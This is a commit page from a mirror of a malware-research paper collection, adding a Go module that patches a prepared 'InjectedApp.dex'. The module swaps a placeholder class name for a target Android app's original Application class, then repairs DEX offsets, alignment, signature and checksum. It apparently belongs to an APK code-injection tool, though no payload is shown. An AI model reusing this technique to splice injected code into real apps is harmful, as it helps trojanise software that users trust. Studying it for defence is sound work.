mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-17 00:09:29 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,209 @@
|
||||
package mydex
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"common"
|
||||
"crypto/sha1"
|
||||
"encoding/binary"
|
||||
"hash/adler32"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"manifest"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
|
||||
const (
|
||||
// DEX structure offsets
|
||||
fileSizeOff = 0x20
|
||||
mapOff = 0x34
|
||||
dataSizeOff = 0x68
|
||||
signatureOff = 0x20
|
||||
checksumOff = 0xc
|
||||
stringIdsCount = 0x3 //how many stringIds we should change
|
||||
classDataOffOff = 0xe4 //map->class_def_item->class_data_off
|
||||
classDataItemOffOff = 0x29c //map->class_data_item->offset
|
||||
annotationOffItemOff = 0x2a8 //map->annotation_set_item->entries->annotation_off_item
|
||||
mapListOffOff = 0x2b4 //map->map_list->offset
|
||||
posStringIdsChangedOff = 0x84
|
||||
)
|
||||
|
||||
// this name is patched so we should make it
|
||||
// as short as possible
|
||||
//var placeholder = "La/a/a;"
|
||||
var placeholder = "Lz/z/z;"
|
||||
var placeholderLength = len(placeholder) + 1
|
||||
var placeholderOff int
|
||||
var dexPath, _ = filepath.Abs("InjectedApp.dex")
|
||||
var dexPathNew, _ = filepath.Abs("InjectedApp_patched.dex")
|
||||
|
||||
// SHA-1 signature (hash) of the rest of the file (everything but magic, checksum, and this field); used to uniquely identify files
|
||||
func patchSignature(data []byte) {
|
||||
|
||||
signature := sha1.Sum(data[signatureOff:])
|
||||
|
||||
log.Printf("New DEX Signature = %x\n", signature)
|
||||
|
||||
// patch signature
|
||||
for i := 0; i < 20; i++ {
|
||||
data[0xc+i] = signature[i]
|
||||
}
|
||||
}
|
||||
|
||||
// adler32 checksum of the rest of the file (everything but magic and this field); used to detect file corruption
|
||||
func patchChecksum(data []byte) {
|
||||
checksum := adler32.Checksum(data[checksumOff:])
|
||||
|
||||
log.Printf("New DEX Checksum = %x\n", checksum)
|
||||
|
||||
// patch checksum
|
||||
binary.LittleEndian.PutUint32(data[0x8:], checksum)
|
||||
}
|
||||
|
||||
// Yes, dex uses sleb and uleb data types not uint32
|
||||
// But we use our predictable DEX so we can ignore it
|
||||
|
||||
// What is changed in DEX after patching parent class?
|
||||
// DEX format doc: https://source.android.com/devices/tech/dalvik/dex-format
|
||||
/*
|
||||
header_item->checksum
|
||||
header_item->signature
|
||||
header_item->file_size
|
||||
header_item->map_off
|
||||
header_item->data_size
|
||||
string_id_item->string_data_off
|
||||
map->class_def_item->class_data_off
|
||||
string_data_item->utf16_size
|
||||
map->class_data_item->offset
|
||||
map->annotation_set_item->entries->annotation_off_item
|
||||
map->map_list->offset
|
||||
|
||||
*/
|
||||
// Do not forget about alignment of some structures!
|
||||
|
||||
func Patch() {
|
||||
|
||||
data, err := ioutil.ReadFile(dexPath)
|
||||
if err != nil {
|
||||
log.Panicf("DEX Failed to read %s", dexPath)
|
||||
}
|
||||
|
||||
// calc offset to placeholder
|
||||
placeholderOff = bytes.Index(data, []byte(placeholder))
|
||||
|
||||
log.Printf("placeholderOff = 0x%x\n", placeholderOff)
|
||||
|
||||
// we should add "L" and ";", and convert "."->"/" to be a normal DEX string
|
||||
//tmpName := "z.z.zzzzzzzzzzzzzzzz"
|
||||
oldAppNameNormalized := "L" + strings.ReplaceAll(manifest.OldAppNameUTF8, ".", "/") + ";"
|
||||
//oldAppNameNormalized := "L" + strings.ReplaceAll(tmpName, ".", "/") + ";"
|
||||
newAppName := oldAppNameNormalized + "\x00"
|
||||
|
||||
// patch string len (string_data_item->utf16_size)
|
||||
// -1 - it's a position of len before every string in dex
|
||||
data[placeholderOff - 1] = uint8(len(oldAppNameNormalized))
|
||||
|
||||
// how many bytes we added to DEX?
|
||||
var sizeDiff uint32
|
||||
sizeDiff = uint32(len(newAppName) - placeholderLength)
|
||||
log.Printf("sizeDiff =0x%x", sizeDiff)
|
||||
|
||||
// how many align bytes we should add
|
||||
var alignCount uint32
|
||||
alignCount = 4 - (sizeDiff % 4)
|
||||
|
||||
if alignCount == 4 {
|
||||
alignCount = 0
|
||||
}
|
||||
log.Printf("alignCount = 0x%x", alignCount)
|
||||
|
||||
// patch mapOff (header_item->map_off)
|
||||
var oldMapOff uint32
|
||||
oldMapOff = binary.LittleEndian.Uint32(data[mapOff:])
|
||||
newMapOff := oldMapOff + sizeDiff + alignCount
|
||||
binary.LittleEndian.PutUint32(data[mapOff:], newMapOff)
|
||||
log.Printf("old mapOff = 0x%0x | new mapOff = 0x%0x\n", oldMapOff, newMapOff)
|
||||
|
||||
// patch datasize (header_item->data_size)
|
||||
var oldDataSize uint32
|
||||
oldDataSize = binary.LittleEndian.Uint32(data[dataSizeOff:])
|
||||
newDataSize := oldDataSize + sizeDiff + alignCount
|
||||
binary.LittleEndian.PutUint32(data[dataSizeOff:], newDataSize)
|
||||
log.Printf("old dataSize = 0x%0x | new dataSize = 0x%0x\n", oldDataSize, newDataSize)
|
||||
|
||||
// patch stringIds (string_id_item->string_data_off)
|
||||
// stringIds - table of offsets to strings
|
||||
// offsets counted from the start (0x0)
|
||||
// posStringIdsChangedOff - position in our DEX from which we start changing
|
||||
|
||||
// we hardcoded it because we use our predictable DEX
|
||||
var oldId uint32
|
||||
stringIdsReader := bytes.NewReader(data[posStringIdsChangedOff:])
|
||||
|
||||
j := 0
|
||||
|
||||
for i := 0; i < stringIdsCount; i++ {
|
||||
|
||||
err = binary.Read(stringIdsReader, binary.LittleEndian, &oldId)
|
||||
if err != nil {
|
||||
log.Panic("Failed to read stringId", err)
|
||||
}
|
||||
|
||||
newId := oldId + sizeDiff
|
||||
binary.LittleEndian.PutUint32(data[posStringIdsChangedOff + j:], newId)
|
||||
j += 4
|
||||
}
|
||||
|
||||
// patch map->class_def_item->class_data_off (4 byte)
|
||||
classDataOff := binary.LittleEndian.Uint32(data[classDataOffOff:])
|
||||
newClassDataOff := classDataOff + sizeDiff
|
||||
binary.LittleEndian.PutUint32(data[classDataOffOff:], newClassDataOff)
|
||||
|
||||
log.Printf("off = 0x%x | classDataOff = 0x%x | newClassDataOff = 0x%x",
|
||||
classDataOffOff, classDataOff, newClassDataOff)
|
||||
|
||||
// patch map->class_data_item->offset (dont apply alignment)
|
||||
classDataItemOff := binary.LittleEndian.Uint32(data[classDataItemOffOff:])
|
||||
newClassDataItemOff := classDataItemOff + sizeDiff
|
||||
binary.LittleEndian.PutUint32(data[classDataItemOffOff:], newClassDataItemOff)
|
||||
log.Printf("off = 0x%x | classDataItemOff = 0x%x | newClassDataItemOff = 0x%x",
|
||||
classDataItemOffOff, classDataItemOff, newClassDataItemOff)
|
||||
|
||||
// patch map->annotation_set_item->entries->annotation_off_item
|
||||
annotationOffItem := binary.LittleEndian.Uint32(data[annotationOffItemOff:])
|
||||
newAnnotationOffItem := annotationOffItem + sizeDiff + alignCount
|
||||
binary.LittleEndian.PutUint32(data[annotationOffItemOff:], newAnnotationOffItem)
|
||||
log.Printf("off = 0x%x | annotationOffItem = 0x%x | newAnnotationOffItem = 0x%x",
|
||||
annotationOffItemOff, annotationOffItem, newAnnotationOffItem)
|
||||
|
||||
//patch map->map_list->offset
|
||||
mapListOff := binary.LittleEndian.Uint32(data[mapListOffOff:])
|
||||
newMapListOff := mapListOff + sizeDiff + alignCount
|
||||
binary.LittleEndian.PutUint32(data[mapListOffOff:], newMapListOff)
|
||||
log.Printf("off = 0x%x | mapListOff = 0x%x | newMapListOff = 0x%x",
|
||||
mapListOffOff, mapListOff, newMapListOff)
|
||||
|
||||
// from now we start patching second half of DEX (after array of strings)
|
||||
// but first we need to insert alignment bytes
|
||||
if alignCount != 0 {
|
||||
var alignSlice = make([]byte, alignCount)
|
||||
var alignPos uint32 = 0x220
|
||||
// insert byte alignment
|
||||
data = append(data[:alignPos], append(alignSlice, data[alignPos:]...)...)
|
||||
}
|
||||
|
||||
// insert new parent application name
|
||||
data = append(data[:placeholderOff], append([]byte(newAppName), data[placeholderOff + placeholderLength:]...)...)
|
||||
|
||||
// patch new fileSize (header_item->file_size)
|
||||
var fileSize = uint32(len(data))
|
||||
binary.LittleEndian.PutUint32(data[fileSizeOff:], fileSize)
|
||||
|
||||
log.Printf("fileSize = 0x%x", fileSize)
|
||||
|
||||
patchSignature(data[0:])
|
||||
patchChecksum(data[0:])
|
||||
|
||||
common.WriteChanges(data, dexPathNew)
|
||||
}
|
||||
Reference in New Issue
Block a user